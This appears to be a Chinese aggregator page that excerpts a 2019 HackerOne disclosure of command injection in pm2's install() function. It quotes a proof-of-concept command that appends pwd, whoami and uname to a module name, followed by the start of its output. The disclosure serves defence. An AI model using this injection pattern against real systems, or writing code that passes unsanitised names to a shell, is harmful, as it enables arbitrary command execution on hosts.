POJIA破甲
地图 / Command Injection in npm module name passed as an argument to pm2.install() function

Command Injection in npm module name passed as an argument to pm2.install() function

代码执行 / 命令注入(通用) / #633364

厂商
Node.js third-party modules
严重程度
低危 · CVSS 6.4
赏金
—
弱点
命令注入(通用)
研究员
@bl4de
披露日期
2019-10-24
资产
Other module
CVE
—

该报告还没有中文解读。

原文摘录

摘自原文(8688 字符中的一小部分)
I would like to report Command Injection possible when npm module name is passed into `pm2.install()`. An attacker is able to attach OS commands to npm module name and those commands will be executed when payload reaches execution sink in `continueInstall()` function in `API/Modules/NPM.js` file.
原文中的代码
bl4de:~/playground/Node $ ./pm2 install "test;pwd;whoami;uname;"
[PM2][Module] Installing NPM test;pwd;whoami;uname; module
[PM2][Module] Calling [NPM] to install test;pwd;whoami;uname; ...
npm WARN saveError ENOENT: no such file or directory, open '/Users/bl4de/package.json'
npm WARN enoent …

默认不展示报告全文。以上为简短摘录,完整复现过程请阅读原文。版权归研究员与 Node.js third-party modules 所有。

时间线

  • 报告提交
  • 公开披露
阅读 HackerOne 原文 ↗作者 @bl4de · 版权归作者与 Node.js third-party modules 所有

同类报告

H1514 Remote Code Execution on kitcrm using bulk customer update of Priority ProductsShopify · 2020-02-06Remote Code Execution on www.semrush.com/my_reports on Logo uploadSemrush · 2019-06-24Git flag injection - local file overwrite to remote code executionGitLab · 2019-12-19 · $12,000Privilege Escalation From user to SYSTEM via unauthenticated command executionUbiquiti Inc. · 2019-11-08BAD Code !Paragon Initiative Enterprises · 2016-11-04Local files could be overwritten in GitLab, leading to remote command executionGitLab · 2019-07-17 · $12,000